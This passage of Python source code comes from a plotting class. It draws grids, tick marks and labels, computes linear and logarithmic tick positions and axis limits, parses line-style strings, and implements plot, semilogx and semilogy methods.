y = self.axes_top + yaxis.y_pix_per_unit * (yaxis.ylim[1] - py[where_pts_in_axes])
for j in range(len(x)):
self.draw_marker(x[j], y[j], curve.marker, curve.marker_color, name)
self.end_group()
def draw_v_grid_line(self, x):
self.draw_line(coords = [x, self.axes_top, x, self.axes_bottom], fill = self.axes_color, dash = (1, 4), width = self.tick_lineweight)
def draw_h_grid_line(self, y):
self.draw_line(coords = [self.axes_left, y, self.axes_right, y], fill = self.axes_color, dash = (1, 4), width = self.tick_lineweight)
def draw_grid(self):
if self.grid_state == 'on':
self.begin_group(name = 'grid')
for [x, label] in self.x_ticks:
self.draw_v_grid_line(self.to_canvas_x(x))
if self.xaxis_mode == 'log':
for [x, label] in self.x_minor_ticks:
self.draw_v_grid_line(self.to_canvas_x(x))
for [y, label] in self.left_y_ticks:
self.draw_h_grid_line(self.to_canvas_y(y, self.left_yaxis))
if self.left_yaxis != '' and self.yaxes[self.left_yaxis].yaxis_mode == 'log':
for [y, label] in self.left_y_minor_ticks:
self.draw_h_grid_line(self.to_canvas_y(y, self.left_yaxis))
for [y, label] in self.right_y_ticks:
self.draw_h_grid_line(self.to_canvas_y(y, self.right_yaxis))
if self.right_yaxis != '' and self.yaxes[self.right_yaxis].yaxis_mode == 'log':
for [y, label] in self.right_y_minor_ticks:
self.draw_h_grid_line(self.to_canvas_y(y, self.right_yaxis))
self.end_group()
def draw_top_tick(self, x):
self.draw_line(coords = [x, self.axes_top, x, self.axes_top + self.tick_length], fill = self.axes_color, width = self.tick_lineweight)
def draw_bottom_tick(self, x):
self.draw_line(coords = [x, self.axes_bottom, x, self.axes_bottom - self.tick_length], fill = self.axes_color, width = self.tick_lineweight)
def draw_left_tick(self, y):
self.draw_line(coords = [self.axes_left, y, self.axes_left + self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight)
def draw_right_tick(self, y):
self.draw_line(coords = [self.axes_right, y, self.axes_right - self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight)
def draw_top_minor_tick(self, x):
self.draw_line(coords = [x, self.axes_top, x, self.axes_top + 0.5 * self.tick_length], fill = self.axes_color, width = self.tick_lineweight)
def draw_bottom_minor_tick(self, x):
self.draw_line(coords = [x, self.axes_bottom, x, self.axes_bottom - 0.5 * self.tick_length], fill = self.axes_color, width = self.tick_lineweight)
def draw_left_minor_tick(self, y):
self.draw_line(coords = [self.axes_left, y, self.axes_left + 0.5 * self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight)
def draw_right_minor_tick(self, y):
self.draw_line(coords = [self.axes_right, y, self.axes_right - 0.5 * self.tick_length, y], fill = self.axes_color, width = self.tick_lineweight)
def draw_bottom_tick_label(self, x, label):
self.draw_text(coords = [x, self.axes_bottom + 0.5 * self.label_fontsize], text = label, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'n', justify = 'center')
def draw_left_tick_label(self, y, label, label_color):
self.draw_text(coords = [self.axes_left - 0.5 * self.label_fontsize, y], text = label, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'e', justify = 'right')
def draw_right_tick_label(self, y, label, label_color):
self.draw_text(coords = [self.axes_right + 0.5 * self.label_fontsize, y], text = label, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'w', justify = 'left')
def draw_x_ticks(self):
if (len(self.x_ticks) != 0) or (len(self.x_minor_ticks) != 0):
self.begin_group(name = 'x_ticks')
for [x, label] in self.x_ticks:
self.draw_top_tick(self.to_canvas_x(x))
self.draw_bottom_tick(self.to_canvas_x(x))
for [x, label] in self.x_minor_ticks:
self.draw_top_minor_tick(self.to_canvas_x(x))
self.draw_bottom_minor_tick(self.to_canvas_x(x))
self.end_group()
self.begin_group(name = 'x_ticklabels')
for [x, label] in self.x_ticks:
if label != '':
self.draw_bottom_tick_label(self.to_canvas_x(x), label)
for [x, label] in self.x_minor_ticks:
if label != '':
self.draw_bottom_tick_label(self.to_canvas_x(x), label)
self.end_group()
def draw_y_ticks(self):
left_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.left_yaxis]
right_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.right_yaxis]
if (self.left_yaxis != '') and ((self.right_yaxis == '') or (len(right_curves) == 0)):
if (len(self.left_y_ticks) != 0) or (len(self.left_y_minor_ticks) != 0):
self.begin_group(name = 'y_ticks')
for [y, label] in self.left_y_ticks:
self.draw_left_tick(self.to_canvas_y(y, self.left_yaxis))
self.draw_right_tick(self.to_canvas_y(y, self.left_yaxis))
for [y, label] in self.left_y_minor_ticks:
self.draw_left_minor_tick(self.to_canvas_y(y, self.left_yaxis))
self.draw_right_minor_tick(self.to_canvas_y(y, self.left_yaxis))
self.end_group()
self.begin_group(name = 'y_ticklabels')
for [y, label] in self.left_y_ticks:
if label != '':
self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color)
for [y, label] in self.left_y_minor_ticks:
if label != '':
self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color)
self.end_group()
elif ((self.left_yaxis == '') or (len(left_curves) == 0)) and (self.right_yaxis != ''):
if (len(self.right_y_ticks) != 0) or (len(self.right_y_minor_ticks) != 0):
self.begin_group(name = 'y_ticks')
for [y, label] in self.right_y_ticks:
self.draw_left_tick(self.to_canvas_y(y, self.right_yaxis))
self.draw_right_tick(self.to_canvas_y(y, self.right_yaxis))
for [y, label] in self.right_y_minor_ticks:
self.draw_left_minor_tick(self.to_canvas_y(y, self.right_yaxis))
self.draw_right_minor_tick(self.to_canvas_y(y, self.right_yaxis))
self.end_group()
self.begin_group(name = 'y_ticklabels')
for [y, label] in self.right_y_ticks:
if label != '':
self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color)
for [y, label] in self.right_y_minor_ticks:
if label != '':
self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color)
self.end_group()
elif (self.left_yaxis != '') and (self.right_yaxis != ''):
if (len(self.left_y_ticks) != 0) or (len(self.left_y_minor_ticks) != 0) or (len(self.right_y_ticks) != 0) or (len(self.right_y_minor_ticks) != 0):
self.begin_group(name = 'left_y_ticks')
for [y, label] in self.left_y_ticks:
self.draw_left_tick(self.to_canvas_y(y, self.left_yaxis))
for [y, label] in self.left_y_minor_ticks:
self.draw_left_minor_tick(self.to_canvas_y(y, self.left_yaxis))
self.end_group()
self.begin_group(name = 'left_y_ticklabels')
for [y, label] in self.left_y_ticks:
if label != '':
self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color)
for [y, label] in self.left_y_minor_ticks:
if label != '':
self.draw_left_tick_label(self.to_canvas_y(y, self.left_yaxis), label, self.yaxes[self.left_yaxis].color)
self.end_group()
self.begin_group(name = 'right_y_ticks')
for [y, label] in self.right_y_ticks:
self.draw_right_tick(self.to_canvas_y(y, self.right_yaxis))
for [y, label] in self.right_y_minor_ticks:
self.draw_right_minor_tick(self.to_canvas_y(y, self.right_yaxis))
self.end_group()
self.begin_group(name = 'right_y_ticklabels')
for [y, label] in self.right_y_ticks:
if label != '':
self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color)
for [y, label] in self.right_y_minor_ticks:
if label != '':
self.draw_right_tick_label(self.to_canvas_y(y, self.right_yaxis), label, self.yaxes[self.right_yaxis].color)
self.end_group()
def draw_axis_labels(self):
if self.xlabel_value != '':
self.draw_text(coords = [0.5 * (self.axes_left + self.axes_right), self.axes_bottom + 2.5 * self.label_fontsize], text = self.xlabel_value, font = (self.label_font, self.label_fontsize), fill = self.axes_color, anchor = 'n', justify = 'center')
if self.left_yaxis != '':
if self.yaxes[self.left_yaxis].ylabel_value != '':
self.draw_text(coords = [self.axes_left, self.axes_top - 0.5 * self.label_fontsize], text = self.yaxes[self.left_yaxis].ylabel_value, font = (self.label_font, self.label_fontsize), fill = self.yaxes[self.left_yaxis].color, anchor = 'sw', justify = 'left')
if self.right_yaxis != '':
if self.yaxes[self.right_yaxis].ylabel_value != '':
self.draw_text(coords = [self.axes_right, self.axes_top - 0.5 * self.label_fontsize], text = self.yaxes[self.right_yaxis].ylabel_value, font = (self.label_font, self.label_fontsize), fill = self.yaxes[self.right_yaxis].color, anchor = 'se', justify = 'right')
def find_x_ticks(self):
self.x_ticks = []
self.x_minor_ticks = []
if self.curves != {}:
if self.xaxis_mode == 'linear':
self.x_ticks = self.find_linear_ticks(self.xlimits_mode, self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xmin, self.xmax)
self.x_minor_ticks = self.find_linear_minor_ticks(self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xmin, self.xmax)
elif self.xaxis_mode == 'log':
self.x_ticks = self.find_log_ticks(self.xlimits_mode, self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xaxis_sign, self.xmin, self.xmax)
self.x_minor_ticks = self.find_log_minor_ticks(self.axes_width, self.xrange, self.xlim, self.x_epsilon, self.xaxis_sign, self.xmin, self.xmax)
def find_y_ticks(self):
self.left_y_ticks = []
self.left_y_minor_ticks = []
self.right_y_ticks = []
self.right_y_minor_ticks = []
left_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.left_yaxis]
right_curves = [curve_name for curve_name in self.curves if self.curves[curve_name].yaxis == self.right_yaxis]
if self.curves != {}:
if (self.left_yaxis != '') and (len(left_curves) != 0):
yaxis = self.yaxes[self.left_yaxis]
if yaxis.yaxis_mode == 'linear':
self.left_y_ticks = self.find_linear_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax)
self.left_y_minor_ticks = self.find_linear_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax)
elif yaxis.yaxis_mode == 'log':
self.left_y_ticks = self.find_log_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax)
self.left_y_minor_ticks = self.find_log_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax)
if (self.right_yaxis != '') and (len(right_curves) != 0):
yaxis = self.yaxes[self.right_yaxis]
if yaxis.yaxis_mode == 'linear':
self.right_y_ticks = self.find_linear_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax)
self.right_y_minor_ticks = self.find_linear_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.ymin, yaxis.ymax)
elif yaxis.yaxis_mode == 'log':
self.right_y_ticks = self.find_log_ticks(yaxis.ylimits_mode, self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax)
self.right_y_minor_ticks = self.find_log_minor_ticks(self.axes_height, yaxis.yrange, yaxis.ylim, yaxis.y_epsilon, yaxis.yaxis_sign, yaxis.ymin, yaxis.ymax)
def find_linear_ticks(self, axis_limits_mode, axis_dimension, axis_range, axis_lim, epsilon, axis_min, axis_max):
if axis_limits_mode == 'auto':
axis_range = axis_max - axis_min
tick_interval = axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize))
foo = math.log10(tick_interval)
bar = math.floor(foo)
foobar = foo - bar
if foobar < 0.001:
tick_interval = math.pow(10., bar)
elif foobar < math.log10(2.001):
tick_interval = 2. * math.pow(10., bar)
elif foobar < math.log10(5.001):
tick_interval = 5. * math.pow(10., bar)
else:
tick_interval = 10. * math.pow(10., bar)
if axis_limits_mode == 'auto':
axis_lim[0] = tick_interval * math.floor(axis_min / tick_interval)
axis_lim[1] = tick_interval * math.ceil(axis_max / tick_interval)
self.update_sizes()
tick = tick_interval * round(axis_lim[0] / tick_interval)
ticks = []
for i in range(int(math.ceil((axis_lim[1] - axis_lim[0]) / tick_interval)) + 1):
if (tick > axis_lim[0] - epsilon) and (tick < axis_lim[1] + epsilon):
ticks.append(tick_interval * round(tick / tick_interval))
tick += tick_interval
if len(ticks) != 0:
if (min(ticks) == 0.) and (max(ticks) == 0.):
foo = 0
else:
foo = int(math.floor(math.log10(max(abs(min(ticks)), abs(max(ticks)), axis_range)) / 3.))
axis_ticks = []
for tick in ticks:
if (foo >= -8) and (foo <= 8):
if tick == -0.:
tick = 0.
tick_label = '{:g}'.format(self.multipliers[foo] * tick)
if tick_label[-2:] == '.0':
tick_label = tick_label.replace('.0', '')
axis_ticks.append([tick, tick_label + self.prefixes[foo]])
else:
axis_ticks.append([tick, '{:g}'.format(tick)])
return axis_ticks
def find_linear_minor_ticks(self, axis_dimension, axis_range, axis_lim, epsilon, axis_min, axis_max):
if self.linear_minor_ticks == 'off':
return []
tick_interval = axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize))
foo = math.log10(tick_interval)
bar = math.floor(foo)
foobar = foo - bar
if foobar < 0.001:
tick_interval = math.pow(10., bar)
minor_tick_interval = 0.2 * tick_interval
elif foobar < math.log10(2.001):
tick_interval = 2. * math.pow(10., bar)
minor_tick_interval = 0.25 * tick_interval
elif foobar < math.log10(5.001):
tick_interval = 5. * math.pow(10., bar)
minor_tick_interval = 0.2 * tick_interval
else:
tick_interval = 10. * math.pow(10., bar)
minor_tick_interval = 0.2 * tick_interval
tick = tick_interval * round(axis_lim[0] / tick_interval)
minor_tick = minor_tick_interval * round(axis_lim[0] / minor_tick_interval)
if tick < minor_tick:
tick += tick_interval
axis_minor_ticks = []
for i in range(int(math.ceil((axis_lim[1] - axis_lim[0]) / minor_tick_interval)) + 1):
if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon) and abs(minor_tick - tick) > epsilon:
axis_minor_ticks.append([minor_tick_interval * round(minor_tick / minor_tick_interval), ''])
minor_tick += minor_tick_interval
if tick < minor_tick:
tick += tick_interval
return axis_minor_ticks
def find_log_ticks(self, axis_limits_mode, axis_dimension, axis_range, axis_lim, epsilon, sign, axis_min, axis_max):
if axis_limits_mode == 'auto':
axis_range = axis_max - axis_min
tick_interval = math.ceil(axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize)))
if axis_limits_mode == 'auto':
axis_lim[0] = tick_interval * math.floor(axis_min / tick_interval)
axis_lim[1] = tick_interval * math.ceil(axis_max / tick_interval)
self.update_sizes()
tick = tick_interval * round(axis_lim[0] / tick_interval)
ticks = []
for i in range(int(math.ceil((axis_lim[1] - axis_lim[0]) / tick_interval)) + 1):
if (tick > axis_lim[0] - epsilon) and (tick < axis_lim[1] + epsilon):
ticks.append(tick_interval * round(tick / tick_interval))
tick += tick_interval
axis_ticks = []
for tick in ticks:
foo = int(math.floor(sign * tick / 3.))
if (foo >= -8) and (foo <= 8):
tick_label = '{:g}'.format(sign * round(self.multipliers[foo] * math.pow(10., sign * tick)))
if tick_label[-2:] == '.0':
tick_label = tick_label.replace('.0', '')
axis_ticks.append([tick, tick_label + self.prefixes[foo]])
else:
axis_ticks.append([tick, '{:g}'.format(sign * math.pow(10., sign * tick))])
return axis_ticks
def find_log_minor_ticks(self, axis_dimension, axis_range, axis_lim, epsilon, sign, axis_min, axis_max):
minor_ticks = []
tick_interval = axis_range / min(10., axis_dimension / (2.5 * self.label_fontsize))
minor_tick_interval = 10. * min(1. - math.pow(10., -tick_interval), math.pow(10., tick_interval) - 1.)
tick_interval = math.ceil(tick_interval)
foo = math.log10(minor_tick_interval)
bar = math.floor(foo)
foobar = foo - bar
if foobar < 0.001:
minor_tick_interval = math.pow(10., bar)
elif foobar < math.log10(2.001):
minor_tick_interval = 2. * math.pow(10., bar)
elif foobar < math.log10(5.001):
minor_tick_interval = 5. * math.pow(10., bar)
else:
minor_tick_interval = 10. * math.pow(10., bar)
if (tick_interval == 1.) and (axis_range <= 1.):
label_threshold = 2.5 * self.label_fontsize * epsilon
if minor_tick_interval < 1.:
ticks_to_label = []
tick = 1. + minor_tick_interval
while tick < 10. - 0.001 * minor_tick_interval:
ticks_to_label.append(tick)
tick += minor_tick_interval
elif math.log10(10. / 9.) > label_threshold:
ticks_to_label = range(2, 10)
elif math.log10(1.25) > label_threshold:
ticks_to_label = range(2, 10, 2)
elif math.log10(2) > label_threshold:
ticks_to_label = [2, 5]
elif math.log10(3) > label_threshold:
ticks_to_label = [3]
else:
ticks_to_label = []
for i in range(int(math.ceil(axis_range)) + 2):
exponent = math.floor(axis_lim[0]) + i
for j in ticks_to_label:
minor_tick = exponent + sign * math.log10(float(j))
if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon):
foo = int(math.floor(sign * minor_tick / 3.))
if (foo >= -8) and (foo <= 8):
tick_label = '{:g}'.format(sign * self.multipliers[foo] * math.pow(10., sign * minor_tick))
if tick_label[-2:] == '.0':
tick_label = tick_label.replace('.0', '')
minor_ticks.append([minor_tick, tick_label + self.prefixes[foo]])
else:
minor_ticks.append([minor_tick, '{:g}'.format(sign * math.pow(10., sign * minor_tick))])
elif (tick_interval == 1.) and (math.log10(10. / 9.) > 2. * epsilon):
for i in range(int(math.ceil(axis_range)) + 2):
exponent = math.floor(axis_lim[0]) + i
for j in range(2, 10):
minor_tick = exponent + sign * math.log10(float(j))
if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon):
minor_ticks.append([minor_tick, ''])
elif (tick_interval > 1.) and (epsilon < 0.25):
for i in range(int(math.ceil(axis_range)) + 2):
minor_tick = math.floor(axis_lim[0]) + i
if (minor_tick > axis_lim[0] - epsilon) and (minor_tick < axis_lim[1] + epsilon) and (minor_tick != tick_interval * round(minor_tick / tick_interval)):
minor_ticks.append([minor_tick, ''])
return minor_ticks
def find_axes_limits(self):
if self.curves != {}:
if self.xlimits_mode != 'manual':
x_mins = []
x_maxs = []
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.ylimits_mode == 'manual':
for i in range(len(curve.points_x)):
pts_where_y_in_axes = np.where(np.logical_and(curve.points_y[i] > yaxis.ylim[0] - yaxis.y_epsilon, curve.points_y[i] < yaxis.ylim[1] + yaxis.y_epsilon))[0]
if len(pts_where_y_in_axes) != 0:
x_mins.append(np.amin(curve.points_x[i][pts_where_y_in_axes]))
x_maxs.append(np.amax(curve.points_x[i][pts_where_y_in_axes]))
else:
for i in range(len(curve.points_x)):
if len(curve.points_x[i]) != 0:
x_mins.append(np.amin(curve.points_x[i]))
x_maxs.append(np.amax(curve.points_x[i]))
if (len(x_mins) > 0) and (len(x_maxs) > 0):
self.xlim[0] = min(x_mins)
self.xlim[1] = max(x_maxs)
if self.xlim[0] == self.xlim[1]:
if self.xlim[0] > 0.:
self.xlim[0] = 0.95 * self.xlim[0]
self.xlim[1] = 1.05 * self.xlim[1]
elif self.xlim[0] < 0.:
self.xlim[0] = 1.05 * self.xlim[0]
self.xlim[1] = 0.95 * self.xlim[1]
else:
self.xlim[0] = -0.05
self.xlim[1] = 0.05
self.xmin = self.xlim[0]
self.xmax = self.xlim[1]
for yaxis_name in self.yaxes.keys():
yaxis = self.yaxes[yaxis_name]
if yaxis.ylimits_mode != 'manual':
y_mins = []
y_maxs = []
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
if curve.yaxis == yaxis_name:
if self.xlimits_mode == 'manual':
for i in range(len(curve.points_y)):
pts_where_x_in_axes = np.where(np.logical_and(curve.points_x[i] > self.xlim[0] - self.x_epsilon, curve.points_x[i] < self.xlim[1] + self.x_epsilon))[0]
if len(pts_where_x_in_axes) != 0:
y_mins.append(np.amin(curve.points_y[i][pts_where_x_in_axes]))
y_maxs.append(np.amax(curve.points_y[i][pts_where_x_in_axes]))
else:
for i in range(len(curve.points_y)):
if len(curve.points_y[i]) != 0:
y_mins.append(np.amin(curve.points_y[i]))
y_maxs.append(np.amax(curve.points_y[i]))
if (len(y_mins) > 0) and (len(y_maxs) > 0):
yaxis.ylim[0] = min(y_mins)
yaxis.ylim[1] = max(y_maxs)
if yaxis.ylim[0] == yaxis.ylim[1]:
if yaxis.ylim[0] > 0.:
yaxis.ylim[0] = 0.95 * yaxis.ylim[0]
yaxis.ylim[1] = 1.05 * yaxis.ylim[1]
elif yaxis.ylim[0] < 0.:
yaxis.ylim[0] = 1.05 * yaxis.ylim[0]
yaxis.ylim[1] = 0.95 * yaxis.ylim[1]
else:
yaxis.ylim[0] = -0.05
yaxis.ylim[1] = 0.05
yaxis.ymin = yaxis.ylim[0]
yaxis.ymax = yaxis.ylim[1]
def parse_style(self, style):
length = len(style)
colors = self.colors.keys()
markers = self.marker_coords.keys()
linestyles = self.linestyles.keys()
marker_color = ''
marker = ''
curve_color = ''
curve_style = ''
if (length >= 1) and (style[0] in colors):
if (length >= 2) and (style[1] in markers):
marker_color = style[0]
marker = style[1]
if (length >= 3) and (style[2] in colors):
curve_color = style[2]
if (length >= 5) and (style[3:5] in linestyles):
curve_style = style[3:5]
elif (length >= 4) and (style[3] in linestyles):
curve_style = style[3]
elif (length >= 4) and (style[2:4] in linestyles):
curve_style = style[2:4]
elif (length >= 3) and (style[2] in linestyles):
curve_style = style[2]
elif (length >= 3) and (style[1:3] in linestyles):
curve_color = style[0]
curve_style = style[1:3]
elif (length >= 2) and (style[1] in linestyles):
curve_color = style[0]
curve_style = style[1]
elif (length >= 1) and (style[0] in markers):
marker = style[0]
if (length >= 2) and (style[1] in colors):
curve_color = style[1]
if (length >= 4) and (style[2:4] in linestyles):
curve_style = style[2:4]
elif (length >= 3) and (style[2] in linestyles):
curve_style = style[2]
elif (length >= 3) and (style[1:3] in linestyles):
curve_style = style[1:3]
elif (length >= 2) and (style[1] in linestyles):
curve_style = style[1]
elif (length >= 2) and (style[0:2] in linestyles):
curve_style = style[0:2]
elif (length >= 1) and (style[0] in linestyles):
curve_style = style[0]
if (marker == '') and (curve_style == ''):
marker = self.default_marker
curve_style = self.default_curve_style
if ((marker != '') and (marker_color == '')) or ((curve_style != '') and (curve_color == '')):
if marker_color == '':
marker_color = self.default_color_order[self.default_color_index]
if curve_color == '':
curve_color = self.default_color_order[self.default_color_index]
self.default_color_index = self.default_color_index + 1
if self.default_color_index >= len(self.default_color_order):
self.default_color_index = 0
if (marker_color != '') and (curve_color == ''):
curve_color = marker_color
if (marker_color == '') and (curve_color != ''):
marker_color = curve_color
return [marker_color, marker, curve_color, curve_style]
def new_data(self, x, y, style = '', name = '', yaxis = 'left', hold = 'off'):
new_curves = {}
if type(x) is np.ndarray:
if type(y) is np.ndarray:
if len(x) == len(y):
if name != '':
curve_name = name
else:
curve_name = 'curve{0:05d}'.format(self.curve_id)
self.curve_id += 1
new_curves[curve_name] = self.curve(name = curve_name, yaxis = yaxis, data_x = x.copy(), data_y = y.copy())
[new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style)
else:
raise IndexError('x and y numpy arrays supplied did not have the same number of elements')
elif (type(y) is list) and all([type(v) is np.ndarray for v in y]):
if all([len(x) == len(v) for v in y]):
for j in range(len(y)):
if (type(name) is list) and name[j] != '':
curve_name = name[j]
else:
curve_name = 'curve{0:05d}'.format(self.curve_id)
self.curve_id += 1
new_curves[curve_name] = self.curve(name = curve_name, yaxis = yaxis, data_x = x.copy(), data_y = y[j].copy())
if type(style) is str:
[new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style)
else:
[new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style[j])
else:
raise IndexError('at least one of the numpy arrays supplied in y did not have the same number of elements as x')
else:
raise TypeError('if x is a numpy array, y must either be a numpy array or a list of numpy arrays')
elif (type(x) is list) and all([type(v) is np.ndarray for v in x]):
if (type(y) is list) and all([type(v) is np.ndarray for v in y]):
if len(x) == len(y):
if all([len(x[j]) == len(y[j]) for j in range(len(x))]):
for j in range(len(x)):
if (type(name) is list) and name[j] != '':
curve_name = name[j]
else:
curve_name = 'curve{0:05d}'.format(self.curve_id)
self.curve_id += 1
new_curves[curve_name] = self.curve(name = curve_name, yaxis = yaxis, data_x = x[j].copy(), data_y = y[j].copy())
if type(style) is str:
[new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style)
else:
[new_curves[curve_name].marker_color, new_curves[curve_name].marker, new_curves[curve_name].curve_color, new_curves[curve_name].curve_style] = self.parse_style(style[j])
else:
raise IndexError('at least one of the numpy arrays supplied in x did not have the same number of elements as the corresponding numpy arrays supplied in y')
else:
raise IndexError('x and y supplied did not contain the same number of numpy arrays')
else:
raise TypeError('if x is a list of numpy arrays, y must also be a list of numpy arrays')
else:
raise TypeError('x and y supplied were not numpy arrays or lists of numpy arrays')
if hold == 'off':
self.curves = new_curves
else:
self.curves.update(new_curves)
def plot(self, x, y, style = '', **kwargs):
name = kwargs.get('name', '')
yaxis = kwargs.get('yaxis', 'left')
if yaxis not in self.yaxes.keys():
raise ValueError("specified y-axis does not exist")
hold = kwargs.get('hold', 'off')
if hold not in ('on', 'off'):
raise ValueError("if specified, hold must be 'on' or 'off'")
if hold == 'off':
self.default_color_index = 0
self.new_data(x, y, style, name, yaxis, hold)
self.xaxis_mode = 'linear'
self.xlimits_mode = 'auto'
self.yaxes[yaxis].yaxis_mode = 'linear'
self.yaxes[yaxis].ylimits_mode = 'auto'
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.yaxis_mode == 'linear':
curve.points_x = [curve.data_x.copy()]
curve.points_y = [curve.data_y.copy()]
elif yaxis.yaxis_mode == 'log':
where_y_has_same_sign_as_yaxis = np.where(curve.data_y * yaxis.yaxis_sign > 0.)[0]
runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1)
curve.points_x = [curve.data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis]
curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis]
self.refresh_plot()
def semilogx(self, x, y, style = '', **kwargs):
name = kwargs.get('name', '')
yaxis = kwargs.get('yaxis', 'left')
if yaxis not in self.yaxes.keys():
raise ValueError("specified y-axis does not exist")
hold = kwargs.get('hold', 'off')
if hold not in ('on', 'off'):
raise ValueError("if specified, hold must be 'on' or 'off'")
if hold == 'off':
self.default_color_index = 0
self.new_data(x, y, style, name, yaxis, hold)
self.xaxis_mode = 'log'
pos_x_values = 0
total_x_values = 0
for curve_name in self.curves.keys():
pos_x_values += len(np.where(self.curves[curve_name].data_x > 0.)[0])
total_x_values += len(self.curves[curve_name].data_x)
self.xaxis_sign = 1. if pos_x_values >= total_x_values // 2 else -1.
self.xlimits_mode = 'auto'
self.yaxes[yaxis].yaxis_mode = 'linear'
self.yaxes[yaxis].ylimits_mode = 'auto'
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.yaxis_mode == 'linear':
where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0]
runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis]
curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis]
elif yaxis.yaxis_mode == 'log':
where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0]
runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes]
curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes]
self.refresh_plot()
def semilogy(self, x, y, style = '', **kwargs):
name = kwargs.get('name', '')
yaxis = kwargs.get('yaxis', 'left')
if yaxis not in self.yaxes.keys():
raise ValueError("specified y-axis does not exist")
hold = kwargs.get('hold', 'off')
if hold not in ('on', 'off'):
raise ValueError("if specified, hold must be 'on' or 'off'")
if hold == 'off':
self.default_color_index = 0
self.new_data(x, y, style, name, yaxis, hold)
self.xaxis_mode = 'linear'
self.xlimits_mode = 'auto'
self.yaxes[yaxis].yaxis_mode = 'log'
pos_y_values = 0
total_y_values = 0
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
pos_y_values += len(np.where(self.curves[curve_name].data_y > 0.)[0])
total_y_values += len(self.curves[curve_name].data_y)
self.yaxes[yaxis].yaxis_sign = 1. if pos_y_values >= total_y_values // 2 else -1.
self.yaxes[yaxis].ylimits_mode = 'auto'
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.yaxis_mode == 'linear':
curve.points_x = [curve.data_x.copy()]
curve.points_y = [curve.data_y.copy()]
elif yaxis.yaxis_mode == 'log':
